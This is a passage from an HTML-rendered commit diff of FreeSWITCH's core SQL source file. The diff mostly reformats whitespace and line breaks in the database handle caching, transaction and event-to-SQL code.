</span><span class="cx">                 for (hi = switch_hash_first(NULL, sql_manager.dbh_hash); hi; hi = switch_hash_next(hi)) {
</span><span class="cx">                         switch_hash_this(hi, &var, NULL, &val);
</span><span class="cx">                         key = (char *) var;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if ((new_dbh = (switch_cache_db_handle_t *) val)) {
</span><del>-                                if (hash == new_dbh->hash && !strncasecmp(new_dbh->name, db_str, strlen(db_str)) &&
</del><ins>+                                if (hash == new_dbh->hash && !strncasecmp(new_dbh->name, db_str, strlen(db_str)) &&
</ins><span class="cx">                                         !switch_test_flag(new_dbh, CDF_INUSE) && switch_mutex_trylock(new_dbh->mutex) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         switch_set_flag(new_dbh, CDF_INUSE);
</span><span class="cx">                                         switch_set_string(new_dbh->name, thread_str);
</span><span class="cx">                                         new_dbh->hash = switch_ci_hashfunc_default(db_str, &hlen);
</span><span class="cx">                                         switch_set_string(new_dbh->last_user, db_callsite_str);
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, NULL, SWITCH_LOG_DEBUG10,
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, NULL, SWITCH_LOG_DEBUG10,
</ins><span class="cx">                                                                          "Reuse Unused Cached DB handle %s [%s]\n", thread_str, switch_cache_db_type_name(new_dbh->type));
</span><span class="cx">                                         break;
</span><span class="cx">                                 }
</span><span class="lines">@@ -307,15 +309,14 @@
</span><span class="cx">                                         goto end;
</span><span class="cx">                                 }
</span><span class="cx">
</span><del>-                                if ((odbc_dbh = switch_odbc_handle_new(connection_options->odbc_options.dsn,
-                                                                                                         connection_options->odbc_options.user,
-                                                                                                         connection_options->odbc_options.pass))) {
</del><ins>+                                if ((odbc_dbh = switch_odbc_handle_new(connection_options->odbc_options.dsn,
+                                                                                                         connection_options->odbc_options.user, connection_options->odbc_options.pass))) {
</ins><span class="cx">                                         if (switch_odbc_handle_connect(odbc_dbh) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                 switch_odbc_handle_destroy(&odbc_dbh);
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><del>-                                
</del><span class="cx">
</span><ins>+
</ins><span class="cx">                         }
</span><span class="cx">                         break;
</span><span class="cx">                 case SCDB_TYPE_CORE_DB:
</span><span class="lines">@@ -333,7 +334,7 @@
</span><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, NULL, SWITCH_LOG_DEBUG10,
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, NULL, SWITCH_LOG_DEBUG10,
</ins><span class="cx">                                                  "Create Cached DB handle %s [%s]\n", thread_str, switch_cache_db_type_name(type));
</span><span class="cx">
</span><span class="cx">                 switch_core_new_memory_pool(&pool);
</span><span class="lines">@@ -345,7 +346,10 @@
</span><span class="cx">                 new_dbh->hash = switch_ci_hashfunc_default(db_str, &hlen);
</span><span class="cx">
</span><span class="cx">
</span><del>-                if (db) new_dbh->native_handle.core_db_dbh = db; else new_dbh->native_handle.odbc_dbh = odbc_dbh;
</del><ins>+                if (db)
+                        new_dbh->native_handle.core_db_dbh = db;
+                else
+                        new_dbh->native_handle.odbc_dbh = odbc_dbh;
</ins><span class="cx">                 switch_mutex_init(&new_dbh->mutex, SWITCH_MUTEX_UNNESTED, new_dbh->pool);
</span><span class="cx">                 switch_set_string(new_dbh->creator, db_callsite_str);
</span><span class="cx">                 switch_mutex_lock(new_dbh->mutex);
</span><span class="lines">@@ -353,9 +357,10 @@
</span><span class="cx">                 switch_core_hash_insert(sql_manager.dbh_hash, new_dbh->name, new_dbh);
</span><span class="cx">         }
</span><span class="cx">
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">
</span><del>-        if (new_dbh) new_dbh->last_used = switch_epoch_time_now(NULL);
</del><ins>+        if (new_dbh)
+                new_dbh->last_used = switch_epoch_time_now(NULL);
</ins><span class="cx">
</span><span class="cx">         switch_mutex_unlock(sql_manager.dbh_mutex);
</span><span class="cx">
</span><span class="lines">@@ -374,8 +379,9 @@
</span><span class="cx">                 switch_mutex_lock(dbh->io_mutex);
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if (err) *err = NULL;
-        
</del><ins>+        if (err)
+                *err = NULL;
+
</ins><span class="cx">         switch (dbh->type) {
</span><span class="cx">         case SCDB_TYPE_ODBC:
</span><span class="cx">                 {
</span><span class="lines">@@ -408,7 +414,7 @@
</span><span class="cx">         if (dbh->io_mutex) {
</span><span class="cx">                 switch_mutex_unlock(dbh->io_mutex);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -424,7 +430,8 @@
</span><span class="cx">
</span><span class="cx">         switch_assert(chunk_size);
</span><span class="cx">
</span><del>-        if (err) *err = NULL;
</del><ins>+        if (err)
+                *err = NULL;
</ins><span class="cx">
</span><span class="cx">         len = strlen(sql);
</span><span class="cx">
</span><span class="lines">@@ -435,38 +442,39 @@
</span><span class="cx">         if (!(chunk_count = strlen(sql) / chunk_size)) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         e = end_of_p(sql);
</span><span class="cx">         s = sql;
</span><span class="cx">
</span><del>-        while(s && s < e) {
</del><ins>+        while (s && s < e) {
</ins><span class="cx">                 p = s + chunk_size;
</span><span class="cx">
</span><span class="cx">                 if (p > e) {
</span><span class="cx">                         p = e;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 while (p > s) {
</span><del>-                        if (*p == '\n' && *(p-1) == ';') {
</del><ins>+                        if (*p == '\n' && *(p - 1) == ';') {
</ins><span class="cx">                                 *p = '\0';
</span><del>-                                *(p-1) = '\0';
</del><ins>+                                *(p - 1) = '\0';
</ins><span class="cx">                                 p++;
</span><span class="cx">                                 break;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         p--;
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                if (p <= s) break;
-                
-                
</del><ins>+                if (p <= s)
+                        break;
+
+
</ins><span class="cx">                 status = switch_cache_db_execute_sql_real(dbh, s, err);
</span><span class="cx">                 if (status != SWITCH_STATUS_SUCCESS || (err && *err)) {
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 s = p;
</span><del>-        
</del><ins>+
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         return status;
</span><span class="lines">@@ -485,7 +493,7 @@
</span><span class="cx">         switch (dbh->type) {
</span><span class="cx">         default:
</span><span class="cx">                 {
</span><del>-                        status = switch_cache_db_execute_sql_chunked(dbh, (char *)sql, 32768, err);
</del><ins>+                        status = switch_cache_db_execute_sql_chunked(dbh, (char *) sql, 32768, err);
</ins><span class="cx">                 }
</span><span class="cx">                 break;
</span><span class="cx">         }
</span><span class="lines">@@ -512,7 +520,7 @@
</span><span class="cx">         case SCDB_TYPE_CORE_DB:
</span><span class="cx">                 {
</span><span class="cx">                         switch_core_db_stmt_t *stmt;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (switch_core_db_prepare(dbh->native_handle.core_db_dbh, sql, -1, &stmt, 0)) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Statement Error [%s]!\n", sql);
</span><span class="cx">                                 return NULL;
</span><span class="lines">@@ -523,7 +531,7 @@
</span><span class="cx">                                 while (running < 5000) {
</span><span class="cx">                                         int result = switch_core_db_step(stmt);
</span><span class="cx">                                         const unsigned char *txt;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (result == SWITCH_CORE_DB_ROW) {
</span><span class="cx">                                                 if ((colcount = switch_core_db_column_count(stmt)) > 0) {
</span><span class="cx">                                                         if ((txt = switch_core_db_column_text(stmt, 0))) {
</span><span class="lines">@@ -541,7 +549,7 @@
</span><span class="cx">                                         }
</span><span class="cx">                                         break;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 switch_core_db_finalize(stmt);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="lines">@@ -553,7 +561,7 @@
</span><span class="cx">                 break;
</span><span class="cx">         }
</span><span class="cx">
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">
</span><span class="cx">         if (dbh->io_mutex) {
</span><span class="cx">                 switch_mutex_unlock(dbh->io_mutex);
</span><span class="lines">@@ -610,7 +618,7 @@
</span><span class="cx">         uint8_t forever = 0;
</span><span class="cx">         unsigned begin_retries = 100;
</span><span class="cx">         uint8_t again = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!retries) {
</span><span class="cx">                 forever = 1;
</span><span class="cx">                 retries = 1000;
</span><span class="lines">@@ -620,12 +628,12 @@
</span><span class="cx">                 switch_mutex_lock(dbh->io_mutex);
</span><span class="cx">         }
</span><span class="cx">
</span><del>-again:
</del><ins>+ again:
</ins><span class="cx">
</span><span class="cx">         while (begin_retries > 0) {
</span><span class="cx">                 again = 0;
</span><span class="cx">
</span><del>-                switch_cache_db_execute_sql_real(dbh, "BEGIN", &errmsg);
</del><ins>+                switch_cache_db_execute_sql_real(dbh, "BEGIN", &errmsg);
</ins><span class="cx">
</span><span class="cx">                 if (errmsg) {
</span><span class="cx">                         begin_retries--;
</span><span class="lines">@@ -674,9 +682,9 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>-done:
</del><ins>+ done:
</ins><span class="cx">
</span><del>-        switch_cache_db_execute_sql_real(dbh, "COMMIT", NULL);
</del><ins>+        switch_cache_db_execute_sql_real(dbh, "COMMIT", NULL);
</ins><span class="cx">
</span><span class="cx">         if (dbh->io_mutex) {
</span><span class="cx">                 switch_mutex_unlock(dbh->io_mutex);
</span><span class="lines">@@ -686,14 +694,14 @@
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_cache_db_execute_sql_callback(switch_cache_db_handle_t *dbh,
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_cache_db_execute_sql_callback(switch_cache_db_handle_t *dbh,
</ins><span class="cx">                                                                                                                                          const char *sql, switch_core_db_callback_func_t callback, void *pdata, char **err)
</span><del>-        
</del><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx">         char *errmsg = NULL;
</span><span class="cx">
</span><del>-        if (err) *err = NULL;
</del><ins>+        if (err)
+                *err = NULL;
</ins><span class="cx">
</span><span class="cx">         if (dbh->io_mutex) {
</span><span class="cx">                 switch_mutex_lock(dbh->io_mutex);
</span><span class="lines">@@ -709,7 +717,7 @@
</span><span class="cx">         case SCDB_TYPE_CORE_DB:
</span><span class="cx">                 {
</span><span class="cx">                         status = switch_core_db_exec(dbh->native_handle.core_db_dbh, sql, callback, pdata, &errmsg);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (errmsg) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "SQL ERR: [%s] %s\n", sql, errmsg);
</span><span class="cx">                                 free(errmsg);
</span><span class="lines">@@ -717,7 +725,7 @@
</span><span class="cx">                 }
</span><span class="cx">                 break;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (dbh->io_mutex) {
</span><span class="cx">                 switch_mutex_unlock(dbh->io_mutex);
</span><span class="cx">         }
</span><span class="lines">@@ -725,7 +733,7 @@
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_bool_t) switch_cache_db_test_reactive(switch_cache_db_handle_t *dbh,
</del><ins>+SWITCH_DECLARE(switch_bool_t) switch_cache_db_test_reactive(switch_cache_db_handle_t *dbh,
</ins><span class="cx">                                                                                                                         const char *test_sql, const char *drop_sql, const char *reactive_sql)
</span><span class="cx"> {
</span><span class="cx">         char *errmsg;
</span><span class="lines">@@ -788,7 +796,7 @@
</span><span class="cx">
</span><span class="cx">
</span><span class="cx"> #define SQLLEN 1024 * 1024
</span><del>-static void *SWITCH_THREAD_FUNC switch_core_sql_thread(switch_thread_t * thread, void *obj)
</del><ins>+static void *SWITCH_THREAD_FUNC switch_core_sql_thread(switch_thread_t *thread, void *obj)
</ins><span class="cx"> {
</span><span class="cx">         void *pop;
</span><span class="cx">         uint32_t itterations = 0;
</span><span class="lines">@@ -814,7 +822,7 @@
</span><span class="cx">
</span><span class="cx">         sql_manager.thread_running = 1;
</span><span class="cx">
</span><del>-        while(sql_manager.thread_running == 1) {
</del><ins>+        while (sql_manager.thread_running == 1) {
</ins><span class="cx">                 if (++loops == l1) {
</span><span class="cx">                         if (++sec == SQL_CACHE_TIMEOUT) {
</span><span class="cx">                                 sql_close(switch_epoch_time_now(NULL));
</span><span class="lines">@@ -822,13 +830,13 @@
</span><span class="cx">                         }
</span><span class="cx">                         loops = 0;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!sql_manager.manage) {
</span><span class="cx">                         switch_yield(100000);
</span><span class="cx">                         continue;
</span><span class="cx">                 }
</span><del>-                
-                if (switch_queue_trypop(sql_manager.sql_queue[0], &pop) == SWITCH_STATUS_SUCCESS ||
</del><ins>+
+                if (switch_queue_trypop(sql_manager.sql_queue[0], &pop) == SWITCH_STATUS_SUCCESS ||
</ins><span class="cx">                         switch_queue_trypop(sql_manager.sql_queue[1], &pop) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         sql = (char *) pop;
</span><span class="cx">
</span><span class="lines">@@ -838,7 +846,7 @@
</span><span class="cx">                                 if (itterations == 0) {
</span><span class="cx">                                         trans = 1;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 /* ignore abnormally large strings sql strings as potential buffer overflow */
</span><span class="cx">                                 if (newlen < SQLLEN) {
</span><span class="cx">                                         itterations++;
</span><span class="lines">@@ -863,8 +871,8 @@
</span><span class="cx">                 } else {
</span><span class="cx">                         nothing_in_queue = 1;
</span><span class="cx">                 }
</span><del>-                
-                
</del><ins>+
+
</ins><span class="cx">                 if (trans && ((itterations == target) || (nothing_in_queue && ++lc >= 500))) {
</span><span class="cx">                         if (switch_cache_db_persistant_execute_trans(sql_manager.event_db, sqlbuf, 1) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "SQL thread unable to commit transaction, records lost!\n");
</span><span class="lines">@@ -876,7 +884,7 @@
</span><span class="cx">                         *sqlbuf = '\0';
</span><span class="cx">                         lc = 0;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (nothing_in_queue) {
</span><span class="cx">                         switch_cond_next();
</span><span class="cx">                 }
</span><span class="lines">@@ -910,45 +918,40 @@
</span><span class="cx">                 {
</span><span class="cx">                         const char *id = switch_event_get_header(event, "task-id");
</span><span class="cx">                         const char *manager = switch_event_get_header(event, "task-sql_manager");
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (id) {
</span><span class="cx">                                 sql = switch_mprintf("insert into tasks values(%q,'%q','%q',%q, '%q')",
</span><span class="cx">                                                                          id,
</span><span class="cx">                                                                          switch_event_get_header_nil(event, "task-desc"),
</span><del>-                                                                         switch_event_get_header_nil(event, "task-group"),
-                                                                         manager ? manager : "0",
-                                                                         switch_core_get_variable("hostname")
-                                                                         );
</del><ins>+                                                                         switch_event_get_header_nil(event, "task-group"), manager ? manager : "0", switch_core_get_variable("hostname")
+                                        );
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">                 break;
</span><span class="cx">         case SWITCH_EVENT_DEL_SCHEDULE:
</span><span class="cx">         case SWITCH_EVENT_EXE_SCHEDULE:
</span><del>-                sql = switch_mprintf("delete from tasks where task_id=%q and hostname='%q'",
</del><ins>+                sql = switch_mprintf("delete from tasks where task_id=%q and hostname='%q'",
</ins><span class="cx">                                                          switch_event_get_header_nil(event, "task-id"), switch_core_get_variable("hostname"));
</span><span class="cx">                 break;
</span><span class="cx">         case SWITCH_EVENT_RE_SCHEDULE:
</span><span class="cx">                 {
</span><span class="cx">                         const char *id = switch_event_get_header(event, "task-id");
</span><span class="cx">                         const char *manager = switch_event_get_header(event, "task-sql_manager");
</span><del>-                
</del><ins>+
</ins><span class="cx">                         if (id) {
</span><span class="cx">                                 sql = switch_mprintf("update tasks set task_desc='%q',task_group='%q', task_sql_manager=%q where task_id=%q and hostname='%q'",
</span><del>-                                                                         switch_event_get_header_nil(event, "task-desc"),
-                                                                         switch_event_get_header_nil(event, "task-group"),
-                                                                         manager ? manager : "0",
-                                                                         id, switch_core_get_variable("hostname"));
</del><ins>+                                                                         switch_event_get_header_nil(event, "task-desc"),
+                                                                         switch_event_get_header_nil(event, "task-group"), manager ? manager : "0", id, switch_core_get_variable("hostname"));
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">                 break;
</span><span class="cx">         case SWITCH_EVENT_CHANNEL_DESTROY:
</span><del>-                sql = switch_mprintf("delete from channels where uuid='%q' and hostname='%q'",
</del><ins>+                sql = switch_mprintf("delete from channels where uuid='%q' and hostname='%q'",
</ins><span class="cx">                                                          switch_event_get_header_nil(event, "unique-id"), switch_core_get_variable("hostname"));
</span><span class="cx">                 break;
</span><span class="cx">         case SWITCH_EVENT_CHANNEL_UUID:
</span><span class="cx">                 {
</span><del>-                        sql = switch_mprintf(
-                                                                 "update channels set uuid='%q' where uuid='%q' and hostname='%q';"
</del><ins>+                        sql = switch_mprintf("update channels set uuid='%q' where uuid='%q' and hostname='%q';"
</ins><span class="cx">                                                                  "update calls set caller_uuid='%q' where caller_uuid='%q' and hostname='%q';"
</span><span class="cx">                                                                  "update calls set callee_uuid='%q' where callee_uuid='%q' and hostname='%q'",
</span><span class="cx">                                                                  switch_event_get_header_nil(event, "unique-id"),
</span><span class="lines">@@ -958,9 +961,8 @@
</span><span class="cx">                                                                  switch_event_get_header_nil(event, "old-unique-id"),
</span><span class="cx">                                                                  switch_core_get_variable("hostname"),
</span><span class="cx">                                                                  switch_event_get_header_nil(event, "unique-id"),
</span><del>-                                                                 switch_event_get_header_nil(event, "old-unique-id"),
-                                                                 switch_core_get_variable("hostname")
-                                                                 );
</del><ins>+                                                                 switch_event_get_header_nil(event, "old-unique-id"), switch_core_get_variable("hostname")
+                                );
</ins><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="cx">         case SWITCH_EVENT_CHANNEL_CREATE:
</span><span class="lines">@@ -969,21 +971,20 @@
</span><span class="cx">                                                          switch_event_get_header_nil(event, "unique-id"),
</span><span class="cx">                                                          switch_event_get_header_nil(event, "call-direction"),
</span><span class="cx">                                                          switch_event_get_header_nil(event, "event-date-local"),
</span><del>-                                                         (long)switch_epoch_time_now(NULL),                                                        
</del><ins>+                                                         (long) switch_epoch_time_now(NULL),
</ins><span class="cx">                                                          switch_event_get_header_nil(event, "channel-name"),
</span><span class="cx">                                                          switch_event_get_header_nil(event, "channel-state"),
</span><span class="cx">                                                          switch_event_get_header_nil(event, "caller-dialplan"),
</span><del>-                                                         switch_event_get_header_nil(event, "caller-context"),
-                                                         switch_core_get_variable("hostname")
-                                                         );
</del><ins>+                                                         switch_event_get_header_nil(event, "caller-context"), switch_core_get_variable("hostname")
+                        );
</ins><span class="cx">                 break;
</span><span class="cx">         case SWITCH_EVENT_CODEC:
</span><span class="cx">                 sql =
</span><span class="cx">                         switch_mprintf
</span><span class="cx">                         ("update channels set read_codec='%q',read_rate='%q',write_codec='%q',write_rate='%q' where uuid='%q' and hostname='%q'",
</span><del>-                         switch_event_get_header_nil(event, "channel-read-codec-name"),
</del><ins>+                         switch_event_get_header_nil(event, "channel-read-codec-name"),
</ins><span class="cx">                          switch_event_get_header_nil(event, "channel-read-codec-rate"),
</span><del>-                         switch_event_get_header_nil(event, "channel-write-codec-name"),
</del><ins>+                         switch_event_get_header_nil(event, "channel-write-codec-name"),
</ins><span class="cx">                          switch_event_get_header_nil(event, "channel-write-codec-rate"),
</span><span class="cx">                          switch_event_get_header_nil(event, "unique-id"), switch_core_get_variable("hostname"));
</span><span class="cx">                 break;
</span><span class="lines">@@ -991,12 +992,12 @@
</span><span class="cx">                 sql = switch_mprintf("update channels set application='%q',application_data='%q',"
</span><span class="cx">                                                          "presence_id='%q',presence_data='%q' where uuid='%q' and hostname='%q'",
</span><span class="cx">                                                          switch_event_get_header_nil(event, "application"),
</span><del>-                                                         switch_event_get_header_nil(event, "application-data"),
</del><ins>+                                                         switch_event_get_header_nil(event, "application-data"),
</ins><span class="cx">                                                          switch_event_get_header_nil(event, "channel-presence-id"),
</span><span class="cx">                                                          switch_event_get_header_nil(event, "channel-presence-data"),
</span><span class="cx">                                                          switch_event_get_header_nil(event, "unique-id"), switch_core_get_variable("hostname")
</span><span class="cx">
</span><del>-                                                         );
</del><ins>+                        );
</ins><span class="cx">
</span><span class="cx">                 break;
</span><span class="cx">         case SWITCH_EVENT_CHANNEL_STATE:
</span><span class="lines">@@ -1020,8 +1021,8 @@
</span><span class="cx">                                                                          switch_event_get_header_nil(event, "caller-caller-id-name"),
</span><span class="cx">                                                                          switch_event_get_header_nil(event, "caller-caller-id-number"),
</span><span class="cx">                                                                          switch_event_get_header_nil(event, "caller-network-addr"),
</span><del>-                                                                         switch_event_get_header_nil(event, "caller-destination-number"),
-                                                                         switch_event_get_header_nil(event, "caller-dialplan"),
</del><ins>+                                                                         switch_event_get_header_nil(event, "caller-destination-number"),
+                                                                         switch_event_get_header_nil(event, "caller-dialplan"),
</ins><span class="cx">                                                                          switch_event_get_header_nil(event, "caller-context"),
</span><span class="cx">                                                                          switch_event_get_header_nil(event, "channel-presence-id"),
</span><span class="cx">                                                                          switch_event_get_header_nil(event, "channel-presence-data"),
</span><span class="lines">@@ -1029,7 +1030,7 @@
</span><span class="cx">                                 break;
</span><span class="cx">                         default:
</span><span class="cx">                                 sql = switch_mprintf("update channels set state='%s' where uuid='%s' and hostname='%q'",
</span><del>-                                                                         switch_event_get_header_nil(event, "channel-state"),
</del><ins>+                                                                         switch_event_get_header_nil(event, "channel-state"),
</ins><span class="cx">                                                                          switch_event_get_header_nil(event, "unique-id"), switch_core_get_variable("hostname"));
</span><span class="cx">                                 break;
</span><span class="cx">                         }
</span><span class="lines">@@ -1038,7 +1039,7 @@
</span><span class="cx">         case SWITCH_EVENT_CHANNEL_BRIDGE:
</span><span class="cx">                 sql = switch_mprintf("insert into calls values ('%s', '%ld', '%s','%q','%q','%q','%q','%s','%q','%q','%q','%q','%s','%q')",
</span><span class="cx">                                                          switch_event_get_header_nil(event, "event-date-local"),
</span><del>-                                                         (long)switch_epoch_time_now(NULL),
</del><ins>+                                                         (long) switch_epoch_time_now(NULL),
</ins><span class="cx">                                                          switch_event_get_header_nil(event, "event-calling-function"),
</span><span class="cx">                                                          switch_event_get_header_nil(event, "caller-caller-id-name"),
</span><span class="cx">                                                          switch_event_get_header_nil(event, "caller-caller-id-number"),
</span><span class="lines">@@ -1048,23 +1049,20 @@
</span><span class="cx">                                                          switch_event_get_header_nil(event, "Other-Leg-caller-id-name"),
</span><span class="cx">                                                          switch_event_get_header_nil(event, "Other-Leg-caller-id-number"),
</span><span class="cx">                                                          switch_event_get_header_nil(event, "Other-Leg-destination-number"),
</span><del>-                                                         switch_event_get_header_nil(event, "Other-Leg-channel-name"),
-                                                         switch_event_get_header_nil(event, "Other-Leg-unique-id"),
-                                                         switch_core_get_variable("hostname")
</del><ins>+                                                         switch_event_get_header_nil(event, "Other-Leg-channel-name"),
+                                                         switch_event_get_header_nil(event, "Other-Leg-unique-id"), switch_core_get_variable("hostname")
</ins><span class="cx">                         );
</span><span class="cx">                 break;
</span><span class="cx">         case SWITCH_EVENT_CHANNEL_UNBRIDGE:
</span><del>-                sql = switch_mprintf("delete from calls where caller_uuid='%s' and hostname='%q'",
</del><ins>+                sql = switch_mprintf("delete from calls where caller_uuid='%s' and hostname='%q'",
</ins><span class="cx">                                                          switch_event_get_header_nil(event, "caller-unique-id"), switch_core_get_variable("hostname"));
</span><span class="cx">                 break;
</span><span class="cx">         case SWITCH_EVENT_SHUTDOWN:
</span><span class="cx">                 sql = switch_mprintf("delete from channels where hostname='%q';"
</span><span class="cx">                                                          "delete from interfaces where hostname='%q';"
</span><span class="cx">                                                          "delete from calls where hostname='%q'",
</span><del>-                                                         switch_core_get_variable("hostname"),
-                                                         switch_core_get_variable("hostname"),
-                                                         switch_core_get_variable("hostname")
-                                                         );
</del><ins>+                                                         switch_core_get_variable("hostname"), switch_core_get_variable("hostname"), switch_core_get_variable("hostname")
+                        );
</ins><span class="cx">                 break;
</span><span class="cx">         case SWITCH_EVENT_LOG:
</span><span class="cx">                 return;
</span><span class="lines">@@ -1078,10 +1076,11 @@
</span><span class="cx">                         const char *filename = switch_event_get_header_nil(event, "filename");
</span><span class="cx">                         if (!zstr(type) && !zstr(name)) {
</span><span class="cx">                                 sql =
</span><del>-                                        switch_mprintf("insert into interfaces (type,name,description,syntax,ikey,filename,hostname) values('%q','%q','%q','%q','%q','%q','%q')",
-                                                                 type, name, switch_str_nil(description), switch_str_nil(syntax),
-                                                                 switch_str_nil(key), switch_str_nil(filename), switch_core_get_variable("hostname")
-                                                                 );
</del><ins>+                                        switch_mprintf
+                                        ("insert into interfaces (type,name,description,syntax,ikey,filename,hostname) values('%q','%q','%q','%q','%q','%q','%q')", type, name,
+                                         switch_str_nil(description), switch_str_nil(syntax), switch_str_nil(key), switch_str_nil(filename),
+                                         switch_core_get_variable("hostname")
+                                        );
</ins><span class="cx">                         }
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="lines">@@ -1090,7 +1089,7 @@
</span><span class="cx">                         const char *type = switch_event_get_header_nil(event, "type");
</span><span class="cx">                         const char *name = switch_event_get_header_nil(event, "name");
</span><span class="cx">                         if (!zstr(type) && !zstr(name)) {
</span><del>-                                sql = switch_mprintf("delete from interfaces where type='%q' and name='%q' and hostname='%q'", type, name,
</del><ins>+                                sql = switch_mprintf("delete from interfaces where type='%q' and name='%q' and hostname='%q'", type, name,
</ins><span class="cx">                                                                          switch_core_get_variable("hostname"));
</span><span class="cx">                         }
</span><span class="cx">                         break;
</span><span class="lines">@@ -1103,10 +1102,8 @@
</span><span class="cx">                                 break;
</span><span class="cx">                         }
</span><span class="cx">                         sql = switch_mprintf("update channels set secure='%s' where uuid='%s' and hostname='%q'",
</span><del>-                                                                 type,
-                                                                 switch_event_get_header_nil(event, "caller-unique-id"),
-                                                                 switch_core_get_variable("hostname")
-                                                                 );
</del><ins>+                                                                 type, switch_event_get_header_nil(event, "caller-unique-id"), switch_core_get_variable("hostname")
+                                );
</ins><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="cx">         case SWITCH_EVENT_NAT:
</span><span class="lines">@@ -1116,15 +1113,12 @@
</span><span class="cx">                         if (!strcmp("add", op)) {
</span><span class="cx">                                 sql = switch_mprintf("insert into nat (port, proto, sticky, hostname) values (%s, %s, %d,'%q')",
</span><span class="cx">                                                                          switch_event_get_header_nil(event, "port"),
</span><del>-                                                                         switch_event_get_header_nil(event, "proto"),
-                                                                         sticky,
-                                                                         switch_core_get_variable("hostname")
-                                                                         );
</del><ins>+                                                                         switch_event_get_header_nil(event, "proto"), sticky, switch_core_get_variable("hostname")
+                                        );
</ins><span class="cx">                         } else if (!strcmp("del", op)) {
</span><span class="cx">                                 sql = switch_mprintf("delete from nat where port=%s and proto=%s and hostname='%q'",
</span><span class="cx">                                                                          switch_event_get_header_nil(event, "port"),
</span><del>-                                                                         switch_event_get_header_nil(event, "proto"),
-                                                                         switch_core_get_variable("hostname"));
</del><ins>+                                                                         switch_event_get_header_nil(event, "proto"), switch_core_get_variable("hostname"));
</ins><span class="cx">                         } else if (!strcmp("status", op)) {
</span><span class="cx">                                 /* call show nat api */
</span><span class="cx">                         } else if (!strcmp("status_response", op)) {
</span><span class="lines">@@ -1151,27 +1145,17 @@
</span><span class="cx">
</span><span class="cx"> static char create_complete_sql[] =
</span><span class="cx">         "CREATE TABLE complete (\n"
</span><del>-        " sticky INTEGER,\n"
-        " a1 VARCHAR(128),\n"
-        " a2 VARCHAR(128),\n"
-        " a3 VARCHAR(128),\n"
-        " a4 VARCHAR(128),\n"
-        " a5 VARCHAR(128),\n"
-        " a6 VARCHAR(128),\n"
-        " a7 VARCHAR(128),\n"
-        " a8 VARCHAR(128),\n"
-        " a9 VARCHAR(128),\n"
-        " a10 VARCHAR(128),\n"
-        " hostname VARCHAR(256)\n"
-        ");\n";
</del><ins>+        " sticky INTEGER,\n"
+        " a1 VARCHAR(128),\n"
+        " a2 VARCHAR(128),\n"
+        " a3 VARCHAR(128),\n"
+        " a4 VARCHAR(128),\n"
+        " a5 VARCHAR(128),\n"
+        " a6 VARCHAR(128),\n"
+        " a7 VARCHAR(128),\n" " a8 VARCHAR(128),\n" " a9 VARCHAR(128),\n" " a10 VARCHAR(128),\n" " hostname VARCHAR(256)\n" ");\n";
</ins><span class="cx">
</span><span class="cx"> static char create_alias_sql[] =
</span><del>-        "CREATE TABLE aliases (\n"
-        " sticky INTEGER,\n"
-        " alias VARCHAR(128),\n"
-        " command VARCHAR(4096),\n"
-        " hostname VARCHAR(256)\n"
-        ");\n";
